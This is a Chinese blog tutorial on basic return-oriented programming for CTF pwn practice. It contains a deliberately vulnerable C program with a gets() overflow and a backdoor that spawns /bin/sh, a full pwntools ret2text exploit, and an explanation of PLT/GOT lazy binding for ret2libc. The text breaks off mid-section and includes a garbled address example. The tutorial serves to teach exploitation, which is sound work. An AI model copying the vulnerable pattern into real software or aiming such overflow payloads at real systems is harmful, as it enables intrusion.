基本ROP

基本ROP

参考资料
CTF-wiki:基本ROP
语雀:PWN入门(1-3-1)-基本ROP-介绍
《深入理解计算机系统》

0x01 什么是ROP

ROP,全称Return Oriented Programming,中文翻译为返回导向编程,其基本思想为在缓冲区溢出的基础上,利用程序中已经有的小片段(gadgets)来改变某些寄存器的值,从而控制程序的执行流。

gadgets通常是以 ret 结尾的指令序列, 通过这样的指令序列,我们可以多次劫持程序的控制流,从而运行特定的指令序列,以完成攻击目的。

使用ROP攻击一般满足如下条件:

  • 程序存在缓冲区溢出漏洞(不局限于栈溢出),且允许我们更改返回地址
  • 程序中可以找到满足条件的 gadgets 片段以及相应的 gadgets 地址

0x02 ret2text

ret2text可以算是ret to text的简写,其中的text代表的是.text段,其中.text段是存放程序中所有可执行代码的地方。简单来说,ret2text就是让程序中某个有漏洞的函数,在返回时,eip寄存器不会返回其调用者函数的代码上,而是跳转到 .text 段上的 gadgets 上。并且,利用 gadgets 中的ret指令,我们甚至可以多跳转几次,让程序执行好几段不相邻的代码。

下面是一个简单的 ret2text的实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>

void init() {

/*初始化标准输入输出流缓冲区,一般的pwn都会有这个函数*/
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}

int backdoor() { system("/bin/sh"); }

int vuln() {
char buf[16];

puts("input something:");
gets(buf);
}

int main() {
init();
vuln();

return 0;
}

使用如下命令编译

1
gcc -std=c90 -g -m32 -fno-stack-protector -no-pie -z execstack -z norelro ret2text.c -o ret2text

下面我们按照一般打题的流程来走一遍

先来查一下程序的保护

1
2
3
4
5
6
7
8
9
Arch:       i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
Debuginfo: Yes

保护全关,并且是32位程序,虽然有源码,但是我们依旧要使用IDA,锻炼自己的能力。

我们直接来到vuln函数

1
2
3
4
5
6
7
char *vuln()
{
char buf[16]; // [esp+0h] [ebp-18h] BYREF

puts("input something:");
return gets(buf);
}

可以看到,这里直接是用了 gets 函数,没有检查输入大小,所以有栈溢出漏洞,在IDA的反编译界面,我们双击buf变量,可以看到 vuln 函数的栈帧分布

vuln_stack

可以看到,buf 在栈中的相对地址为 ebp-0x18,我们知道,ret2text需要控制某个函数返回地址,让其变成.text段上的某个 gadgets 的地址。在这个程序中,gets 函数会一直向 vuln 的栈中填充我们输入的数据,直到收到我们输入的 \n,那我们是不是可以构造一个特殊的输入,先让它填充 vuln 的栈帧空间 + 返回地址,然后在最后加上 gadgets 的地址,这样我们就可以覆盖掉返回地址,变成 gadgets 的地址

思路有了,我们开始找 gadgets ,一般来说,我们会从两个地方找 gadgets,一个是IDA的 Functions 窗口

ret2text_Functions_window

你可以找到一些有着特殊命名的函数,比如这里的 backdoor 函数。

另一个就是使用 Shitf + f12 打开 IDA 的 String 窗口,按 Ctrl + F 搜索 “/bin/sh” 这种方法更加泛用,毕竟不是每个这种题目都会有一个叫 backdoor 的函数。

ret2text_String_window

双击 /bin/sh 字符串,然后 IDA 会跳转到 IDA view-A 窗口,同时高亮在 .rodata段中的 /bin/sh 字符串,然后按 Ctrl + X 显示交叉引用,它就会跳出来另一个窗口,里面会显示使用这个字符串的,双击该函数,你就会跳转到该函数的汇编代码上。

两种方式,都可以找到 backdoor 函数。

现在,该有的信息都有了,我们就可以来编写漏洞利用脚本了

1
2
3
4
5
6
7
#!/bin/python

from pwn import *

context(arch = 'i386', os = 'linux')
context.log_level = 'debug'
io = process("./ret2text")

首先,是每个脚本都会有的“八股文”,目的是确定上下文,这里就不展开讲了,这不是重点,唯一需要注意的是,如果是在本地 pwn,需要写io = process("程序路径"), 脚本会自动打开程序并按照编写的逻辑去与程序交互,如果是pwn在远程服务器上程序,需要换成io = remote("ip或者域名", 端口);

下面,写一个变量,就叫backdoor,用来存放 gadgets 也就是 backdoor 函数的地址,但是,我们需要注意的是,我们不能直接使用 backdoor 的地址,即0x080491F0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:080491F0                 push    ebp
.text:080491F1 mov ebp, esp
.text:080491F3 push ebx
.text:080491F4 sub esp, 4
.text:080491F7 call __x86_get_pc_thunk_ax
.text:080491FC add eax, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:08049201 sub esp, 0Ch
.text:08049204 lea edx, (aBinSh - 804B2B8h)[eax] ; "/bin/sh"
.text:0804920A push edx ; command
.text:0804920B mov ebx, eax
.text:0804920D call _system
.text:08049212 add esp, 10h
.text:08049215 nop
.text:08049216 mov ebx, [ebp+var_4]
.text:08049219 leave
.text:0804921A retn

具体原因我目前也没有太搞明白,但是就做题经验而言,使用0x080491F1作为返回地址,即后门函数的首地址 +1,成功率远远大于直接使用后门首地址。

接下我们就来构造payload

1
2
backdoor = 0x080491F1
payload = b'a' * (0x18 + 0x4) + p32(backdoor)

其中 b'a' * (0x18 + 0x4),的作用是向栈中填充垃圾数据,因为 gets 先栈中写入数据是从低地址写到高地址的,而返回地址位于高地址,比栈底还要高一个机器字长,要想覆盖掉返回地址,我们需要将他前面的空间全部填满才行。0x18是目标缓冲区,这里是 buf 的首地址与栈底之间的距离,而 0x4 是是栈底的大小,所以我们需要覆盖(0x18 + 0x4)的大小。

p32的作用时,将十六进制整数,按照小端序的打包成四字节。

小端序:一个多字节数据在内存中存放时,低位字节放在低位
比如说我这里有一个十六整数:0x12345678,其中,12为高位,78为低位,那么按照小端序的存放方式,0x12345678在内存中的实际储存方式为

1
2
3
4
5
|  addr  |  value  |
| 0x1001 | 0x78 |
| 0x1002 | 0x56 |
| 0x1003 | 0x34 |
| 0x1004 | 0x12 |

一般来说,向内存中写入数据都是从低地址写向高地址,以写入的视角看,这个十六进制数就是倒着的

最后,我们就可以写出完成的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/python

from pwn import *

context(arch = 'i386', os = 'linux')
context.log_level = 'debug'
io = process("./ret2text")

backdoor = 0x080491F1
payload = b'a' * (0x18 + 0x4) + p32(backdoor)

io.recvuntil("input something:")
io.sendline(payload)

io.interactive()

0x03 ret2libc

关于ret2libc

ret2libc 这种攻击方式主要是针对是那些使用动态编译的程序,并且在正常情况下,无法找到向 system() 和 execv() 这样的系统函数去直接或间接的拉起 /bin/sh 程序。这种时候,我们就可以考虑使用ret2libc,因为动态编译的程序会在运行的时候调用 libc.so 动态链接库中的代码,而这个动态链接库中几乎包含了所有我们能用到的库函数,包括system() 和 execv()。如果我们有方法调用 libc.so 中的 system()函数,构造出 system(“/bin/sh”), 我们就可以 getshell。

关于动态编译

编译过程[1]

编译器将源程序文件,也就是你的源代码文件(hello.c),编译成一个可执行程序,需要经历以下四个步骤:

  1. 预处理
    展开#include, 宏替换,条件编译,输出仍是文本格式的,但是经过修改的源程序:hello.i

  2. 编译器
    将预处理后的源码翻译成汇编语言,此时文件变成hello.s

  3. 汇编器
    把汇编翻译成机器码目标文件(hello.o),里面有代码/数据,但很多符号地址还没定。

  4. 链接
    将多个.o和库组成最终的可执行文件,然后做符号解析,重定位,生成可执行文件

而动态链接和静态连接的主要区别就在于“链接”这一步

静态链接

链接器在链接阶段就把你用到的库函数实现(来自 .a 静态库)拷贝进最终可执行文件里,并尽可能把符号地址都在这时确定好。

结果:

可执行文件更大

运行时不依赖系统的 .so

没有“运行时再去找 libc.so”这一步(或非常少)

动态链接

链接器在链接阶段不会把动态共享库的代码打包进ELF文件,而是在 ELF 里塞进动态链接所需的元数据:

  • PT_INTERP:告诉内核“解释器/动态加载器是谁”(如 ld-linux-x86-64.so.2)

  • .dynamic:一堆 DT_* tag(依赖库、重定位信息、符号表位置、hash 表、RPATH/RUNPATH…)

  • .dynsym/.dynstr:动态符号表/字符串表(运行时要用)

  • .rela.dyn / .rel.dyn:需要在装载时修补的重定位(data/指针类)

  • .rela.plt / .rel.plt:PLT 相关重定位(外部函数调用相关)

  • GOT/PLT:把“外部函数调用”变成可延迟解析的跳板机制

延迟绑定

PLT表 & GOT表

  • PLT(Procedure Linkage Table)

    • 是一段段小函数(stub / trampoline)

    • 每个外部函数通常对应一个 PLT 条目:puts@plt、printf@plt…

    • 功能:通过 GOT 里存的地址跳转到真实函数,并支持“第一次调用时去解析”。

  • GOT(Global Offset Table)

    • 是一张表(内存里的数组)

    • 表项存放“某个符号最终解析到的真实地址”

    • 对外部函数来说,真正被 PLT 用的那一块 GOT,通常在节里叫 .got.plt

延迟绑定

这部分如果要详细介绍的话会非常多,但是对打pwn题来说,详细介绍就有点多余了,如果未来有精力,我会完善这部分内容。

当程序第一次调用某个函数时,比如 puts 函数。由于其为动态链接程序,程序中并没有 puts 函数的相关代码,并不会执行 call puts 指令,而是call puts@plt, 程序会跳转到 plt 表中。上文说到,plt 表中实际上一段段小函数,实际上只会执行一个指令:jmp [puts@got.plt],意思是从got.plt表中取 动态库中 puts 函数的地址并跳转过去。但由于是第一次调用, got.plt表中并没有动态库中 puts 函数的实际地址。所以程序之后会跳转到一个公共入口,通常叫PLT0。

之后PLT0会把“我要解析哪个符号”这个信息(常见是“重定位表索引”)交给 ld.so 的 resolver

动态链接器做:

  • 在已加载对象里查找符号 puts(考虑符号可见性、版本等)

  • 找到 libc 里的真实 puts 地址

  • 把这个真实地址写回 puts@got.plt 对应的 GOT 表项(这一步叫 fixup)

解析完成之后,程序会跳转到 libc 中的 puts 执行

当程序第二次调用 puts 时,仍然会先执行 call puts@plt 然后 jmp [puts@got.plt] 跳转到 got.plt 表上,此时 got.plt 表上已经有 puts 的真实地址了,程序会直接跳转到该地址上执行。

简而言之就是,第一次调用某个函数,查表,表上没有该函数的地址,然后去解析该函数的真实地址,并将真实地址写回表内。当第二次调用时,程序继续查表,发现有这个函数的地址,程序就会直接跳转到该地址上执行。

如何利用

现在的大多数操作系统都会开启 ASLR (地址空间布局随机化),这会导致,每次程序在运行的时候,共享库会被加载到一个随机的基地址上。不过好消息是,虽然加载时基地址会变,虽然加载时基地址会变类比成的数组的首地址,但是动态库是已经写死的东西,库内的函数偏移不会变的。举个例子就是:

假如某个动态库,我们把它想象成数组,就叫libc。其内有两个函数,一个是 puts 它的索引是libc[3], 一个是write,它的索引是 libc[4], 如果我此时加载的基地是 0x10000, 那么 puts函数的真实地址就是 0x10003,write的真实地址就是 0x1000write的真实地址就是 x10004

所以

  1. 该部分参考了部分《深入理解计算机系统》中的内容

基本ROP
https://www.xuanyuan-blog.top/PWN/ROP/基本ROP/
作者
玄渊
发布于
2025年12月13日
许可协议